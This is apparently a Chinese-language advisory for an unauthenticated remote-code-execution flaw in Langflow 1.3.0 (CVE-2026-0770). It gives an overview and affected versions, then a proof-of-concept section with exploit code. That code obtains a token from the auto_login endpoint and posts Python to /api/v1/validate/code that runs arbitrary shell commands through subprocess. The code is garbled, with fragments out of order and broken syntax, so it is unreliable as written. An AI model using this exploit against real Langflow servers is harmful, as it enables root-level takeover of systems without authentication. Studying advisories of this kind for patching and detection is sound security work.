漏洞概述 Langflow 1.3.0 存在远程代码执行（RCE）漏洞。该漏洞是由于在 端点中， 参数包含了来自不受信任控制区域的功能，导致远程攻击者可以以 root 权限执行任意代码。此漏洞无需认证即可利用。 影响范围 软件名称: Langflow 版本: 1.3.0 CVE 编号: CVE-2026-0770 EDB-ID: 52597 发布日期: 2026-05-29 平台: 多个平台 测试环境: Debian 修复方案 目前页面未提供具体的修复方案。建议用户关注官方更新或联系供应商获取最新的安全补丁。 POC代码 ndef exploit(\n =(lambda r: (for _in j)).throw(Exception(f\"{r.stdout}{r.stderr}\")))\n\n__import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n\n\n\n passn\" % cmd } r = await client.post(url=f'http://{host}:7860/api/v1/validate/code', headers=headers, json=data) r_out = r.text output = json.loads(r_out) value = output['function'] try: print(value['errors'][0]) except IndexError: print("Index out of range") async def exec_without_auth(host, cmd): async with httpx.AsyncClient(verify=False) as client: req = await client.get(url=f'http://{host}:7860/api/v1/auto_login') res = req.json() access_token = res['access_token'] headers = { 'Authorization': f'Bearer {access_token}' } data = { "code": "